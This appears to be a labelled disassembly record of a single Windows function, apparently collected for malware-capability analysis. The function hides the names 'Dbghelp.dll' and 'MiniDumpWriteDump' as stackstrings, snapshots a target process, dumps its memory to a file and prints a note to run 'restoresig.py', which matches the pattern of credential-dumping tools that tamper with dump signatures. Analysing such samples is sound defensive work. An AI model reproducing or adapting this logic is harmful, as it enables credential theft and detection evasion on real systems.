Function at 0x140011492
Capabilities:
Capture process snapshot data
Contain obfuscated stackstrings
Inspect section memory permissions
Write file on windows

Disassembly:
jmp 0x14001c1d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2e8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x308]
mov rax, qword [0x140036040]
xor rax, rbp
mov qword [rbp + 0x290], rax
lea rcx, [0x14003d0ff]
call fcn.1400119fb
mov dword [rbp + 4], 0
mov rcx, qword [rbp + 0x2c0]
call fcn.140011681
mov qword [0x1400364c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [0x1400364c0]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x1400364c8], rax
mov eax, 0x44
mov word [rbp + 0x28], ax
mov eax, 0x62
mov word [rbp + 0x2a], ax
mov eax, 0x67
mov word [rbp + 0x2c], ax
mov eax, 0x68
mov word [rbp + 0x2e], ax
mov eax, 0x65
mov word [rbp + 0x30], ax
mov eax, 0x6c
mov word [rbp + 0x32], ax
mov eax, 0x70
mov word [rbp + 0x34], ax
mov eax, 0x2e
mov word [rbp + 0x36], ax
mov eax, 0x64
mov word [rbp + 0x38], ax
mov eax, 0x6c
mov word [rbp + 0x3a], ax
mov eax, 0x6c
mov word [rbp + 0x3c], ax
xor eax, eax
mov word [rbp + 0x3e], ax
mov byte [rbp + 0x58], 0x4d
mov byte [rbp + 0x59], 0x69
mov byte [rbp + 0x5a], 0x6e
mov byte [rbp + 0x5b], 0x69
mov byte [rbp + 0x5c], 0x44
mov byte [rbp + 0x5d], 0x75
mov byte [rbp + 0x5e], 0x6d
mov byte [rbp + 0x5f], 0x70
mov byte [rbp + 0x60], 0x57
mov byte [rbp + 0x61], 0x72
mov byte [rbp + 0x62], 0x69
mov byte [rbp + 0x63], 0x74
mov byte [rbp + 0x64], 0x65
mov byte [rbp + 0x65], 0x44
mov byte [rbp + 0x66], 0x75
mov byte [rbp + 0x67], 0x6d
mov byte [rbp + 0x68], 0x70
mov byte [rbp + 0x69], 0
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rbp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.1400117a8
lea rax, [0x140011a32]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xd8], 0
mov edx, 4
mov ecx, 1
call fcn.140011983
mov edx, 8
mov ecx, eax
call fcn.140011983
mov edx, 0x10
mov ecx, eax
call fcn.140011983
mov edx, 0x20
mov ecx, eax
call fcn.140011983
mov edx, 0x40
mov ecx, eax
call fcn.140011983
mov edx, 0x80
mov ecx, eax
call fcn.140011983
mov edx, 0x100
mov ecx, eax
call fcn.140011983
mov edx, 0x200
mov ecx, eax
call fcn.140011983
mov edx, 0x8000000
mov ecx, eax
call fcn.140011983
mov edx, 0x4000000
mov ecx, eax
call fcn.140011983
mov edx, 0x20000000
mov ecx, eax
call fcn.140011983
mov edx, 0x80000000
mov ecx, eax
call fcn.140011983
mov dword [rbp + 0xf4], eax
lea r9, [rbp + 0xd8]
mov r8d, 0x10001f
mov edx, dword [rbp + 0xf4]
mov rcx, qword [rbp + 0x2c0]
call fcn.140011a4b
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
mov rdx, qword [rbp + 0xd8]
mov rcx, 0xffffffffffffffff
call fcn.140011474
cmp dword [rbp + 4], 0
je 0x14001c549
mov rcx, qword [0x1400364c8]
call fcn.14001180c
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x118], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x154], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x154]
mov r8d, dword [0x1400364d0]
mov rdx, qword [0x1400364c8]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 0x174], eax
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400364c0]
mov rcx, qword [0x1400364c8]
call fcn.14001172b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [0x1400364c8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rbp + 0x118]
lea rcx, str.Run__restoresig.py__on__s_n
call fcn.140011050
jmp 0x14001c583
lea rcx, [rbp + 0x258]
call fcn.14001153c
mov qword [rbp + 0x288], rax
mov rcx, qword [rbp + 0x288]
call fcn.14001136b
mov rdx, rax
lea rcx, str.Failed___s
call fcn.140011050
lea rcx, [rbp + 0x258]
call fcn.1400118ca
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14002f1d0]
call fcn.14001186b
mov eax, edi
mov rcx, qword [rbp + 0x290]
xor rcx, rbp
call fcn.140011500
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret